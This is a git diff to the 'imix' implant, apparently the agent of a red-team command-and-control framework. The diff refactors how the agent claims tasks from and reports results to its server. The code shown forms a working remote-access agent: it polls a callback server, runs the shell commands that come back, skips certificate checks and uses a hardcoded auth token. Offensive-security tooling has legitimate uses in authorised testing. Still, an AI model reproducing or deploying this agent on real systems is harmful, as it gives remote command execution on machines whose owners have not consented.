diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml index 658054d07..70c0780b5 100644 --- a/implants/imix/Cargo.toml +++ b/implants/imix/Cargo.toml @@ -13,10 +13,13 @@ serde_json = "1.0" reqwest = { version = "0.11.4" , features = ["blocking", "stream", "json"] } tokio = { version = "1", features = ["full"] } anyhow = "1.0.65" -httptest = "0.15.4" chrono = { version = "0.4.23" , features = ["serde"] } -tempfile = "3.3.0" whoami = "1.3.0" uuid = { version = "1.3.0", features = ["v4","fast-rng"] } default-net = "0.13.1" sys-info = "0.9.1" +tavern = { path = "../pkg/tavern" } + +[dev-dependencies] +httptest = "0.15.4" +tempfile = "3.3.0" diff --git a/implants/imix/src/graphql.rs b/implants/imix/src/graphql.rs deleted file mode 100644 index c5a0656ab..000000000 --- a/implants/imix/src/graphql.rs +++ /dev/null @@ -1,432 +0,0 @@ -use std::time::Duration; - -use anyhow::{Error}; -use serde::{Serialize, Deserialize}; -use chrono::{DateTime, Utc}; -// https://time-rs.github.io/api/time/format_description/well_known/struct.Rfc3339.html -// ------------- GraphQL claimTasks request ------------- -#[derive(Serialize, Deserialize, Clone)] -pub struct GraphQLClaimTasksInput { - pub principal: String, - pub hostname: String, - #[serde(rename="sessionIdentifier")] - pub session_identifier: String, - #[serde(rename="hostIdentifier")] - pub host_identifier: String, - #[serde(rename="hostPlatform")] - pub host_platform: String, - #[serde(rename="agentIdentifier")] - pub agent_identifier: String, -} - -#[derive(Serialize, Deserialize)] -struct GraphQLClaimTaskVariableEnvelope { - input: GraphQLClaimTasksInput -} - -#[derive(Serialize, Deserialize)] -struct GraphQLClaimRequestEnvelope { - query: String, - variables: GraphQLClaimTaskVariableEnvelope, - #[serde(rename="operationName")] - operation_name: String, -} - -// ------------- GraphQL claimTasks response ------------- - -#[derive(Serialize, Deserialize, Clone)] -pub struct GraphQLTome{ - pub id: String, - pub name: String, - pub description: String, - #[serde(rename="paramDefs")] - pub param_defs: Option, - pub eldritch: String, - pub files: Vec, -} - -#[derive(Serialize, Deserialize, Clone)] -pub struct GraphQLFile { - pub id: String, - pub name: String, - pub size: u32, - pub hash: String, -} - -#[derive(Serialize, Deserialize, Clone)] -pub struct GraphQLJob { - pub id: String, - pub name: String, - pub tome: GraphQLTome, - pub parameters: Option, - pub bundle: Option, -} - -#[derive(Serialize, Deserialize, Clone)] -pub struct GraphQLTask { - pub id: String, - pub job: Option -} - -#[derive(Serialize, Deserialize)] -struct GraphQLClaimTasksOutput { - #[serde(rename="claimTasks")] - claim_tasks: Vec, -} - -#[derive(Serialize, Deserialize)] -struct GraphQLClaimTaskResponseEnvelope { - data: GraphQLClaimTasksOutput, -} - -pub async fn gql_claim_tasks(uri: String, claim_task_input_variable: GraphQLClaimTasksInput) -> Result, Error> { - let req_body = match serde_json::to_string(& - GraphQLClaimRequestEnvelope { - operation_name: String::from("ImixCallback"), - query: String::from(r#" -mutation ImixCallback($input: ClaimTasksInput!) { - claimTasks(input: $input) { - id, - job { - id, - name, - tome { - id, - name, - description, - paramDefs, - eldritch, - files { - id, - name, - size, - hash, - } - }, - bundle { - id, - name, - size, - hash, - } - } - } -}"#), - variables: GraphQLClaimTaskVariableEnvelope{ - input: claim_task_input_variable - }, - }) { - Ok(json_req_body) => json_req_body, - Err(error) => return Err(anyhow::anyhow!("Failed encode request to JSON\n{}", error)), - }; - - let client = reqwest::Client::builder() - .timeout(Duration::from_secs(5)) - .danger_accept_invalid_certs(true) - .build()?; - - let response_text = match client.post(uri) - .header("Content-Type", "application/json") - .header("X-Realm-Auth", "letmeinnn") - .body(req_body) - .send() - .await { - Ok(http_response) => { - match http_response.text().await { - Ok(text_recieved) => text_recieved, - Err(text_error) => return Err(anyhow::anyhow!("Error decoding http response.\n{}", text_error)), - } - }, - Err(http_error) => return Err(anyhow::anyhow!("Error making http request.\n{}", http_error)), - }; - - let graphql_response: GraphQLClaimTaskResponseEnvelope = match serde_json::from_str(&response_text) { - Ok(new_tasks_object) => new_tasks_object, - Err(error) => return Err(anyhow::anyhow!("Error deserializing GraphQL response.\n{}\n{}", error, response_text)), - }; - let new_tasks = graphql_response.data.claim_tasks; - Ok(new_tasks) -} - - - -// ------------- GraphQL SubmitTaskResultInput request ------------- -#[derive(Serialize, Deserialize)] -pub struct GraphQLSubmitTaskResultInput { - #[serde(rename="taskID")] - pub task_id: String, - #[serde(rename="execStartedAt")] - pub exec_started_at: DateTime, - #[serde(rename="execFinishedAt")] - pub exec_finished_at: Option>, - pub output: String, - pub error: String, -} - -#[derive(Serialize, Deserialize)] -pub struct GraphQLSubmitTaskVariableEnvelope { - pub input: GraphQLSubmitTaskResultInput -} - -#[derive(Serialize, Deserialize)] -pub struct GraphQLSubmitTaskRequestEnvelope { - pub query: String, - pub variables: GraphQLSubmitTaskVariableEnvelope, - #[serde(rename="operationName")] - pub operation_name: String, -} - -// ------------- GraphQL submitTask response ------------- - -#[derive(Serialize, Deserialize)] -struct GraphQLSubmitTasksOutput { - #[serde(rename="submitTaskResult")] - submit_task_result: GraphQLTask, -} - -#[derive(Serialize, Deserialize)] -struct GraphQLSubmitTaskResponseEnvelope { - data: GraphQLSubmitTasksOutput, -} - - -pub async fn gql_post_task_result(uri: String, task_result: GraphQLSubmitTaskResultInput) -> Result { - let req_body = match serde_json::to_string(& - GraphQLSubmitTaskRequestEnvelope { - operation_name: String::from("ImixPostResult"), - query: String::from(r#" - mutation ImixPostResult($input: SubmitTaskResultInput!) { - submitTaskResult(input: $input) { - id - } - }"#), - variables: GraphQLSubmitTaskVariableEnvelope{ - input: task_result - }, - }) { - Ok(json_req_body) => json_req_body, - Err(error) => return Err(anyhow::anyhow!("Failed encode request to JSON\n{}", error)), - }; - - let client = reqwest::Client::builder() - .timeout(Duration::from_secs(5)) - .danger_accept_invalid_certs(true) - .build()?; - - let response_text = match client.post(uri) - .header("Content-Type", "application/json") - .header("X-Realm-Auth", "letmeinnn") - .body(req_body) - .send() - .await { - Ok(http_response) => { - match http_response.text().await { - Ok(text_recieved) => text_recieved, - Err(text_error) => return Err(anyhow::anyhow!("Error decoding http response.\n{}", text_error)), - } - }, - Err(http_error) => return Err(anyhow::anyhow!("Error making http request.\n{}", http_error)), - }; - - let graphql_response: GraphQLSubmitTaskResponseEnvelope = match serde_json::from_str(&response_text) { - Ok(new_tasks_object) => new_tasks_object, - Err(error) => return Err(anyhow::anyhow!("Error deserializing GraphQL response.\n{}", error)), - }; - let new_tasks = graphql_response.data.submit_task_result; - Ok(new_tasks) -} - - - - -#[cfg(test)] -mod tests { - use super::*; - use httptest::{Server, Expectation, matchers::*, responders::*}; - - #[test] - fn imix_graphql_claim_task_test_standard() { - let server = Server::run(); - server.expect(Expectation::matching(request::method_path("POST", "/graphql")) - .respond_with(status_code(200).body(r#"{"data":{"claimTasks":[{"id":"17179869185","job":{"id":"4294967297","name":"test_exe3","tome":{"id":"21474836482","name":"Shell Execute","description":"Execute a shell script using the default interpreter. /bin/bash for macos \u0026 linux, and cmd.exe for windows.","parameters":"{\"cmd\":\"string\"}","eldritch":"sys.shell(eld.get_param('cmd'))","files":[]},"bundle":null}},{"id":"17179869186","job":{"id":"4294967298","name":"test_exe2","tome":{"id":"21474836482","name":"Shell Execute","description":"Execute a shell script using the default interpreter. /bin/bash for macos \u0026 linux, and cmd.exe for windows.","parameters":"{\"cmd\":\"string\"}","eldritch":"sys.shell(eld.get_param('cmd'))","files":[]},"bundle":null}}]}}"#)) - ); - - let input_variable = GraphQLClaimTasksInput { - principal: "root".to_string(), - hostname: "localhost".to_string(), - session_identifier: "bdf0b788-b32b-4faf-8719-93cd3955b043".to_string(), - host_platform: "Linux".to_string(), - host_identifier: "bdf0b788-b32b-4faf-8719-93cd3955b043".to_string(), - agent_identifier: "imix".to_string(), - }; - - - let runtime = tokio::runtime::Builder::new_current_thread() - .enable_all() - .build() - .unwrap(); - - let response = runtime.block_on( - gql_claim_tasks(server.url("/graphql").to_string(), input_variable) - ).unwrap(); - for task in response { - assert!(task.job.unwrap().name.contains("test_exe")) - } - } - #[test] - fn imix_graphql_post_task_output_standard() { - let start_time = Utc::now(); - - let server = Server::run(); - server.expect(Expectation::matching(request::method_path("POST", "/graphql")) - .respond_with(status_code(200).body(r#"{"data":{"submitTaskResult":{"id":"17179869186"}}}"#)) - ); - let runtime = tokio::runtime::Builder::new_current_thread() - .enable_all() - .build() - .unwrap(); - - let test_task_response = GraphQLSubmitTaskResultInput { - task_id: "17179869186".to_string(), - exec_started_at: start_time, - exec_finished_at: Some(Utc::now()), - output: "whoami".to_string(), - error: "".to_string(), - }; - let response = runtime.block_on( - gql_post_task_result(server.url("/graphql").to_string(), test_task_response) - ).unwrap(); - - assert_eq!(response.id,"17179869186".to_string()); - } - // #[test] // This works. - // fn imix_graphql_ssl_test() { - // let start_time = Utc::now(); - - // let runtime = tokio::runtime::Builder::new_current_thread() - // .enable_all() - // .build() - // .unwrap(); - - // let response = runtime.block_on( - // { - // let client = reqwest::Client::builder() - // .timeout(Duration::from_secs(5)) - // .danger_accept_invalid_certs(true) - // .build().unwrap(); - - // client.get("https://google.com/") - // .header("Content-Type", "application/json") - // .header("X-Realm-Auth", "letmeinnn") - // .body("") - // .send() - // } - // ).unwrap(); - - // assert_eq!(response.status(), reqwest::StatusCode::OK); - // } - -} - -/* -# iQL script -## Create tome -mutation CreateTome ($input: CreateTomeInput!) { - createTome(input: $input) { - id - } -} - -{ - "input": { - "name": "Shell Execute", - "description": "Execute a shell script using the default interpreter. /bin/bash for macos & linux, and cmd.exe for windows.", - "parameters": "{\"cmd\":\"string\"}", - "eldritch": "sys.shell(eld.get_param('cmd'))", - "fileIDs": [] - } -} - -## Get session IDs -query get_sessions { - sessions { - id - identifier - } -} - -## imixCallback -mutation ImixCallback($input: ClaimTasksInput!) { - claimTasks(input: $input) { - id, - job { - id, - name, - tome { - id, - name, - description, - parameters, - eldritch, - files { - id, - name, - size, - hash, - } - }, - bundle { - id, - name, - size, - hash, - } - } - } -} - -{ - "input": { - "principal": "root", - "hostname": "localhost", - "sessionIdentifier": "s1234", - "hostIdentifier": "h1234", - "agentIdentifier": "a1234" - } -} - -## Queue Job with tome and session -mutation createJob($input: CreateJobInput!, $sess:[ID!]!){ - createJob(input: $input, sessionIDs: $sess) { - id - } -} - -{ - "input": { - "name": "test_exe1", - "params": "{}", - "tomeID": "21474836482" - }, - "sess": ["8589934593"] -} - -## Post task results -mutation postTaskResults($input: SubmitTaskResultInput!) { - submitTaskResult(input: $input) { - id - } -} - -{ - "input": { - "taskID": "17179869186", - "execStartedAt": "1985-04-12T23:20:50.52Z", - "execFinishedAt": "1985-04-12T23:40:50.52Z", - "output": "root", - "error": "" - } -} - - -*/ diff --git a/implants/imix/src/lib.rs b/implants/imix/src/lib.rs index 756784120..ee4e135a4 100644 --- a/implants/imix/src/lib.rs +++ b/implants/imix/src/lib.rs @@ -49,4 +49,3 @@ pub struct Config { pub mod windows; pub mod linux; -pub mod graphql; \ No newline at end of file diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs index 56bf79345..258fa80a2 100644 --- a/implants/imix/src/main.rs +++ b/implants/imix/src/main.rs @@ -10,15 +10,15 @@ use clap::{Command, arg}; use anyhow::{Result, Error}; use tokio::task::{self, JoinHandle}; use tokio::time::Duration; -use imix::graphql::{GraphQLTask, self}; use eldritch::{eldritch_run,EldritchPrintHandler}; use uuid::Uuid; use sys_info::{os_release,linux_os_release}; +use tavern::{Task, ClaimTasksInput, HostPlatform, SubmitTaskResultInput}; pub struct ExecTask { future_join_handle: JoinHandle>, start_time: DateTime, - graphql_task: GraphQLTask, + graphql_task: Task, print_reciever: Receiver, } @@ -36,22 +36,25 @@ async fn install(config_path: String) -> Result<(), imix::Error> { unimplemented!("The current OS/Service Manager is not supported") } -async fn handle_exec_tome(task: GraphQLTask, print_channel_sender: Sender) -> Result<(String,String)> { +async fn handle_exec_tome(task: Task, print_channel_sender: Sender) -> Result<(String,String)> { // TODO: Download auxillary files from CDN // Read a tome script - let task_job = match task.job { - Some(job) => job, - None => return Ok(("".to_string(), format!("No job associated for task ID: {}", task.id))), - }; + // let task_job = match task.job { + // Some(job) => job, + // None => return Ok(("".to_string(), format!("No job associated for task ID: {}", task.id))), + // }; + + let task_job = task.job; - let tome_name = task_job.tome.name; + let tome_filename = task_job.tome.name; let tome_contents = task_job.tome.eldritch; + let tome_parameters = task_job.parameters; let print_handler = EldritchPrintHandler{ sender: print_channel_sender }; // Execute a tome script - let res = match thread::spawn(move || { eldritch_run(tome_name, tome_contents, task_job.parameters, &print_handler) }).join() { + let res = match thread::spawn(move || { eldritch_run(tome_filename, tome_contents, tome_parameters, &print_handler) }).join() { Ok(local_thread_res) => local_thread_res, Err(_) => todo!(), }; @@ -62,7 +65,7 @@ async fn handle_exec_tome(task: GraphQLTask, print_channel_sender: Sender) -> Result<(), Error> { +async fn handle_exec_timeout_and_response(task: Task, print_channel_sender: Sender) -> Result<(), Error> { // Tasks will be forcebly stopped after 1 week. let timeout_duration = Duration::from_secs(60*60*24*7); // 1 Week. @@ -139,15 +142,15 @@ fn get_primary_ip() -> Result { Ok(res) } -fn get_host_platform() -> Result { +fn get_host_platform() -> Result { if cfg!(target_os = "linux") { - return Ok("Linux".to_string()); + return Ok(HostPlatform::Linux); } else if cfg!(target_os = "windows") { - return Ok("Windows".to_string()); + return Ok(HostPlatform::Windows); } else if cfg!(target_os = "macos") { - return Ok("MacOS".to_string()); + return Ok(HostPlatform::MacOS); } else { - return Ok("Unknown".to_string()); + return Ok(HostPlatform::Unknown); } } @@ -170,6 +173,7 @@ fn get_os_pretty_name() -> Result { async fn main_loop(config_path: String, run_once: bool) -> Result<()> { let debug = false; let version_string = "v0.1.0"; + let auth_token = "letmeinnn"; let config_file = File::open(config_path)?; let imix_config: imix::Config = serde_json::from_reader(config_file)?; @@ -212,7 +216,17 @@ async fn main_loop(config_path: String, run_once: bool) -> Result<()> { if debug { return Err(anyhow::anyhow!("Unable to get host platform id\n{}", error)); } - "Unknown".to_string() + HostPlatform::Unknown + }, + }; + + let primary_ip = match get_primary_ip() { + Ok(tmp_primary_ip) => Some(tmp_primary_ip), + Err(error) => { + if debug { + return Err(anyhow::anyhow!("Unable to get primary ip\n{}", error)); + } + None }, }; @@ -226,13 +240,14 @@ async fn main_loop(config_path: String, run_once: bool) -> Result<()> { }, }; - let claim_tasks_input = graphql::GraphQLClaimTasksInput { + let claim_tasks_input = ClaimTasksInput { principal: principal, hostname: hostname, session_identifier: session_id, host_identifier: host_id, agent_identifier: format!("{}-{}","imix",version_string), - host_platform: host_platform, + host_platform, + host_primary_ip: primary_ip, }; loop { @@ -244,9 +259,10 @@ async fn main_loop(config_path: String, run_once: bool) -> Result<()> { // 1a) calculate callback uri let cur_callback_uri = imix_config.callback_config.c2_configs[0].uri.clone(); + let tavern_client = tavern::http::new_client(&cur_callback_uri, auth_token)?; if debug { println!("[{}]: collecting tasks", (Utc::now().time() - start_time).num_milliseconds()) } // 1b) Collect new tasks - let new_tasks = match graphql::gql_claim_tasks(cur_callback_uri.clone(), claim_tasks_input.clone()).await { + let new_tasks = match tavern_client.claim_tasks(claim_tasks_input.clone()).await { Ok(tasks) => tasks, Err(error) => { if debug { println!("main_loop: error claiming task\n{:?}", error) } @@ -258,7 +274,7 @@ async fn main_loop(config_path: String, run_once: bool) -> Result<()> { if debug { println!("[{}]: Starting {} new tasks", (Utc::now().time() - start_time).num_milliseconds(), new_tasks.len()); } // 2. Start new tasks for task in new_tasks { - if debug { println!("Launching:\n{:?}", task.clone().job.unwrap().tome.eldritch); } + if debug { println!("Launching:\n{:?}", task.clone().job.tome.eldritch); } let (sender, receiver) = channel::(); let exec_with_timeout = handle_exec_timeout_and_response(task.clone(), sender.clone()); @@ -313,31 +329,21 @@ async fn main_loop(config_path: String, run_once: bool) -> Result<()> { res.push(new_res_line); // Send task response } - let task_response = match exec_future.1.future_join_handle.is_finished() { - true => { - graphql::GraphQLSubmitTaskResultInput { - task_id: exec_future.1.graphql_task.id.clone(), - exec_started_at: exec_future.1.start_time, - exec_finished_at: Some(Utc::now()), - output: res.join("\n"), - error: "".to_string(), - } - }, - false => { - graphql::GraphQLSubmitTaskResultInput { - task_id: exec_future.1.graphql_task.id.clone(), - exec_started_at: exec_future.1.start_time, - exec_finished_at: None, - output: res.join("\n"), - error: "".to_string(), - } - }, + let task_response_exec_finished_at = match exec_future.1.future_join_handle.is_finished() { + true => Some(Utc::now()), + false => None, }; - if debug { println!("[{}]: Task {} output: {}", (Utc::now().time() - start_time).num_milliseconds(), exec_future.0, task_response.output); } - let submit_task_result = graphql::gql_post_task_result(cur_callback_uri.clone(), task_response).await; - let _ = match submit_task_result { - Ok(_) => Ok(()), // Currently no reason to save the task since it's the task we just answered. - Err(error) => Err(error), + let task_response = SubmitTaskResultInput { + task_id: exec_future.1.graphql_task.id.clone(), + exec_started_at: exec_future.1.start_time, + exec_finished_at: task_response_exec_finished_at, + output: res.join("\n"), + error: None, + }; + let res = tavern_client.submit_task_result(task_response).await; + let _submit_task_result = match res { + Ok(local_val) => local_val, + Err(local_err) => if debug { println!("Failed to submit task resluts:\n{}", local_err.to_string()) }, }; // Only re-insert the runnine exec futures @@ -407,7 +413,7 @@ pub fn main() -> Result<(), imix::Error> { mod tests { use httptest::{Server, Expectation, matchers::{request}, responders::status_code, all_of}; use httptest::matchers::matches; - use imix::{graphql::{GraphQLJob, GraphQLTome}}; + use tavern::{Job, Tome, SubmitTaskResultResponseData, SubmitTaskResult, GraphQLResponse, ClaimTasksResponseData}; use tempfile::NamedTempFile; use super::*; @@ -431,12 +437,13 @@ mod tests { #[test] fn imix_handle_exec_tome() { - let test_tome_input = GraphQLTask{ + let test_tome_input = Task{ id: "17179869185".to_string(), - job: Some(GraphQLJob { + job: Job { id: "4294967297".to_string(), name: "Test Exec".to_string(), - tome: GraphQLTome { + parameters: Some(r#"{"cmd":"whoami"}"#.to_string()), + tome: Tome { id: "21474836482".to_string(), name: "Shell execute".to_string(), description: "Execute a command in the default system shell".to_string(), @@ -444,12 +451,11 @@ mod tests { print("custom_print_handler_test") sys.shell(input_params["cmd"]) "#.to_string(), - files: [].to_vec(), + files: None, param_defs: Some(r#"{"params":[{"name":"cmd","type":"string"}]}"#.to_string()), }, - parameters: Some(r#"{"cmd":"whoami"}"#.to_string()), bundle: None, - }), + }, }; @@ -491,28 +497,73 @@ sys.shell(input_params["cmd"]) fn imix_test_main_loop_sleep_twice_short() -> Result<()> { // Response expectations are poped in reverse order. let server = Server::run(); + let test_task_id = "17179869185".to_string(); + let post_result_response = GraphQLResponse { + data: Some(SubmitTaskResult { + id: test_task_id.clone(), + }), + errors: None, + extensions: None, + }; server.expect( Expectation::matching(all_of![ request::method_path("POST", "/graphql"), - request::body(matches(".*ImixPostResult.*main_loop_test_success.*")) + request::body(matches(".*variables.*execStartedAt.*")) ]) - .times(2) + .times(1) .respond_with(status_code(200) - .body(r#"{"data":{"submitTaskResult":{"id":"17179869185"}}}"#)), + .body(serde_json::to_string(&post_result_response)?)) ); + + let test_task = Task { + id: test_task_id, + job: Job { + id:"4294967297".to_string(), + name: "Exec stuff".to_string(), + parameters: None, + tome: Tome { + id: "21474836482".to_string(), + name: "sys exec".to_string(), + description: "Execute system things.".to_string(), + param_defs: None, + eldritch: r#" +def test(): +if sys.is_macos(): +sys.shell("sleep 3") +if sys.is_linux(): +sys.shell("sleep 3") +if sys.is_windows(): +sys.shell("timeout 3") +test() +print("main_loop_test_success")"#.to_string(), + files: None, + }, + bundle: None + }, + }; + let claim_task_response = GraphQLResponse { + data: Some(ClaimTasksResponseData { + claim_tasks: vec![ + test_task.clone(), + test_task.clone() + ], + }), + errors: None, + extensions: None, + }; server.expect( Expectation::matching(all_of![ request::method_path("POST", "/graphql"), - request::body(matches(".*claimTasks.*")) + request::body(matches(".*variables.*hostPlatform.*")) ]) .times(1) .respond_with(status_code(200) - .body(r#"{"data":{"claimTasks":[{"id":"17179869185","job":{"id":"4294967297","name":"Sleep1","parameters":"{}","tome":{"id":"21474836482","name":"sleep","description":"sleep stuff","paramDefs":"{}","eldritch":"def test():\n if sys.is_macos():\n sys.shell(\"sleep 3\")\n if sys.is_linux():\n sys.shell(\"sleep 3\")\n if sys.is_windows():\n sys.shell(\"timeout 3\")\ntest()\nprint(\"main_loop_test_success\")","files":[]},"bundle":null}},{"id":"17179869186","job":{"id":"4294967298","name":"Sleep1","parameters":"{}","tome":{"id":"21474836483","name":"sleep","description":"sleep stuff","paramDefs":"{}","eldritch":"def test():\n if sys.is_macos():\n sys.shell(\"sleep 3\")\n if sys.is_linux():\n sys.shell(\"sleep 3\")\n if sys.is_windows():\n sys.shell(\"timeout 3\")\ntest()\nprint(\"main_loop_test_success\")","files":[]},"bundle":null}}]}}"#)), + .body(serde_json::to_string(&claim_task_response)?)) ); + let url = server.url("/graphql").to_string(); let tmp_file_new = NamedTempFile::new()?; let path_new = String::from(tmp_file_new.path().to_str().unwrap()).clone(); - let url = server.url("/graphql").to_string(); let _ = std::fs::write(path_new.clone(),format!(r#"{{ "service_configs": [], "target_forward_connect_ip": "127.0.0.1", @@ -547,31 +598,66 @@ sys.shell(input_params["cmd"]) #[test] fn imix_test_main_loop_run_once() -> Result<()> { - + let test_task_id = "17179869185".to_string(); + // Response expectations are poped in reverse order. let server = Server::run(); + + let post_result_response = GraphQLResponse { + data: Some(SubmitTaskResult { + id: test_task_id.clone(), + }), + errors: None, + extensions: None, + }; server.expect( Expectation::matching(all_of![ request::method_path("POST", "/graphql"), - request::body(matches(".*ImixPostResult.*main_loop_test_success.*")) + request::body(matches(".*variables.*execStartedAt.*")) ]) .times(1) .respond_with(status_code(200) - .body(r#"{"data":{"submitTaskResult":{"id":"17179869185"}}}"#)), + .body(serde_json::to_string(&post_result_response)?)) ); + + let claim_task_response = GraphQLResponse { + data: Some(ClaimTasksResponseData { + claim_tasks: vec![ + Task { + id: test_task_id.clone(), + job: Job { + id:"4294967297".to_string(), + name: "Exec stuff".to_string(), + parameters: Some(r#"{"cmd":"echo main_loop_test_success"}"#.to_string()), + tome: Tome { + id: "21474836482".to_string(), + name: "sys exec".to_string(), + description: "Execute system things.".to_string(), + param_defs: Some(r#"[{"name":"cmd","type":"string"}]"#.to_string()), + eldritch: r#"print(sys.shell(input_params["cmd"]))"#.to_string(), + files: None, + }, + bundle: None + }, + }, + ], + }), + errors: None, + extensions: None, + }; server.expect( Expectation::matching(all_of![ request::method_path("POST", "/graphql"), - request::body(matches(".*claimTasks.*")) + request::body(matches(".*variables.*hostPlatform.*")) ]) .times(1) .respond_with(status_code(200) - .body(r#"{"data":{"claimTasks":[{"id":"17179869185","job":{"id":"4294967297","name":"Exec stuff","parameters":"{\"cmd\":\"echo main_loop_test_success\"}","tome":{"id":"21474836482","name":"sys exec","description":"Execute system things.","paramDefs":"{\"paramDefs\":[{\"name\":\"cmd\",\"type\":\"string\"}]}","eldritch":"print(sys.shell(input_params[\"cmd\"]))","files":[]},"bundle":null}}]}}"#)), + .body(serde_json::to_string(&claim_task_response)?)) ); + let url = server.url("/graphql").to_string(); let tmp_file_new = NamedTempFile::new()?; let path_new = String::from(tmp_file_new.path().to_str().unwrap()).clone(); - let url = server.url("/graphql").to_string(); let _ = std::fs::write(path_new.clone(),format!(r#"{{ "service_configs": [], "target_forward_connect_ip": "127.0.0.1", @@ -595,8 +681,7 @@ sys.shell(input_params["cmd"]) .unwrap(); let exec_future = main_loop(path_new, true); - let _result = runtime.block_on(exec_future).unwrap(); - + let _result = runtime.block_on(exec_future)?; assert!(true); Ok(()) } diff --git a/implants/pkg/tavern/codegen.sh b/implants/pkg/tavern/codegen.sh index 9a9519a8b..80b614b77 100755 --- a/implants/pkg/tavern/codegen.sh +++ b/implants/pkg/tavern/codegen.sh @@ -4,5 +4,5 @@ if [ ! -x "$(which graphql-client)" ] ; then cargo install graphql_client_cli; fi echo "[Tavern][Rust] Generating GraphQL Code..."; -graphql-client generate --output-directory ./src --schema-path ./graphql/schema.graphql --custom-scalars-module='crate::scalars' --response-derives='Serialize' ./graphql/mutations.graphql -echo "[Tavern][Rust] Code Generation Complete"; \ No newline at end of file +graphql-client generate --output-directory ./src --schema-path ./graphql/schema.graphql --custom-scalars-module='crate::scalars' --variables-derives='Clone' --response-derives='Serialize,Clone' ./graphql/mutations.graphql +echo "[Tavern][Rust] Code Generation Complete"; diff --git a/implants/pkg/tavern/graphql/mutations.graphql b/implants/pkg/tavern/graphql/mutations.graphql index 29a74824c..79fa1034a 100644 --- a/implants/pkg/tavern/graphql/mutations.graphql +++ b/implants/pkg/tavern/graphql/mutations.graphql @@ -4,6 +4,7 @@ mutation ClaimTasks($input: ClaimTasksInput!) { job { id, name, + parameters, tome { id, name, diff --git a/implants/pkg/tavern/src/http.rs b/implants/pkg/tavern/src/http.rs index bcb407de0..5594f0fea 100644 --- a/implants/pkg/tavern/src/http.rs +++ b/implants/pkg/tavern/src/http.rs @@ -49,7 +49,7 @@ impl Transport { #[async_trait] impl crate::Executor for Transport { async fn exec(&self, query: QueryBody) -> Result { - let req = self.http.post(self.url.as_str()) + let req: reqwest::RequestBuilder = self.http.post(self.url.as_str()) .json(&query) .header("Content-Type", "application/json") .header(AUTH_HEADER, self.auth_token.as_str()); diff --git a/implants/pkg/tavern/src/lib.rs b/implants/pkg/tavern/src/lib.rs index c332fab9b..ab5fecd56 100644 --- a/implants/pkg/tavern/src/lib.rs +++ b/implants/pkg/tavern/src/lib.rs @@ -14,9 +14,16 @@ pub use mutations::claim_tasks::{ ClaimTasksClaimTasksJobTomeFiles as File, ClaimTasksClaimTasksJobBundle as Bundle, SessionHostPlatform as HostPlatform, + ResponseData as ClaimTasksResponseData, }; pub use mutations::submit_task_result::{ - SubmitTaskResultInput + SubmitTaskResultInput, + SubmitTaskResultSubmitTaskResult as SubmitTaskResult, + ResponseData as SubmitTaskResultResponseData, +}; + +pub use graphql_client::{ + Response as GraphQLResponse, }; use async_trait::async_trait; @@ -128,6 +135,7 @@ mod tests { job: Job{ id: String::from("10"), name: String::from("test_job"), + parameters: None, tome: Tome{ id: String::from("15"), name: String::from("test_tome"), @@ -178,6 +186,7 @@ mod tests { output: String::from("It works!"), error: None, }; + println!("task_response: {}", serde_json::to_string(&input).unwrap()); let resp = client.submit_task_result(input).await; assert!(resp.is_ok()); } diff --git a/implants/pkg/tavern/src/mutations.rs b/implants/pkg/tavern/src/mutations.rs index c8bccaa11..d34646250 100644 --- a/implants/pkg/tavern/src/mutations.rs +++ b/implants/pkg/tavern/src/mutations.rs @@ -4,7 +4,7 @@ pub mod claim_tasks { #![allow(dead_code)] use std::result::Result; pub const OPERATION_NAME: &str = "ClaimTasks"; - pub const QUERY : & str = "mutation ClaimTasks($input: ClaimTasksInput!) {\n claimTasks(input: $input) {\n id,\n job {\n id,\n name,\n tome {\n id,\n name,\n description,\n paramDefs,\n eldritch,\n files {\n id,\n name,\n size,\n hash,\n }\n },\n bundle {\n id,\n name,\n size,\n hash,\n }\n }\n }\n}\n\nmutation SubmitTaskResult($input: SubmitTaskResultInput!) {\n submitTaskResult(input: $input) {\n id\n }\n}" ; + pub const QUERY : & str = "mutation ClaimTasks($input: ClaimTasksInput!) {\n claimTasks(input: $input) {\n id,\n job {\n id,\n name,\n parameters,\n tome {\n id,\n name,\n description,\n paramDefs,\n eldritch,\n files {\n id,\n name,\n size,\n hash,\n }\n },\n bundle {\n id,\n name,\n size,\n hash,\n }\n }\n }\n}\n\nmutation SubmitTaskResult($input: SubmitTaskResultInput!) {\n submitTaskResult(input: $input) {\n id\n }\n}" ; use super::*; use serde::{Deserialize, Serialize}; #[allow(dead_code)] @@ -15,7 +15,7 @@ pub mod claim_tasks { type Int = i64; #[allow(dead_code)] type ID = String; - #[derive()] + #[derive(Clone)] pub enum SessionHostPlatform { Windows, Linux, @@ -49,7 +49,7 @@ pub mod claim_tasks { } } } - #[derive(Serialize)] + #[derive(Serialize, Clone)] pub struct ClaimTasksInput { pub principal: String, pub hostname: String, @@ -64,29 +64,30 @@ pub mod claim_tasks { #[serde(rename = "agentIdentifier")] pub agent_identifier: String, } - #[derive(Serialize)] + #[derive(Serialize, Clone)] pub struct Variables { pub input: ClaimTasksInput, } impl Variables {} - #[derive(Deserialize, Serialize)] + #[derive(Deserialize, Serialize, Clone)] pub struct ResponseData { #[serde(rename = "claimTasks")] pub claim_tasks: Vec, } - #[derive(Deserialize, Serialize)] + #[derive(Deserialize, Serialize, Clone)] pub struct ClaimTasksClaimTasks { pub id: ID, pub job: ClaimTasksClaimTasksJob, } - #[derive(Deserialize, Serialize)] + #[derive(Deserialize, Serialize, Clone)] pub struct ClaimTasksClaimTasksJob { pub id: ID, pub name: String, + pub parameters: Option, pub tome: ClaimTasksClaimTasksJobTome, pub bundle: Option, } - #[derive(Deserialize, Serialize)] + #[derive(Deserialize, Serialize, Clone)] pub struct ClaimTasksClaimTasksJobTome { pub id: ID, pub name: String, @@ -96,14 +97,14 @@ pub mod claim_tasks { pub eldritch: String, pub files: Option>, } - #[derive(Deserialize, Serialize)] + #[derive(Deserialize, Serialize, Clone)] pub struct ClaimTasksClaimTasksJobTomeFiles { pub id: ID, pub name: String, pub size: Int, pub hash: String, } - #[derive(Deserialize, Serialize)] + #[derive(Deserialize, Serialize, Clone)] pub struct ClaimTasksClaimTasksJobBundle { pub id: ID, pub name: String, @@ -127,7 +128,7 @@ pub mod submit_task_result { #![allow(dead_code)] use std::result::Result; pub const OPERATION_NAME: &str = "SubmitTaskResult"; - pub const QUERY : & str = "mutation ClaimTasks($input: ClaimTasksInput!) {\n claimTasks(input: $input) {\n id,\n job {\n id,\n name,\n tome {\n id,\n name,\n 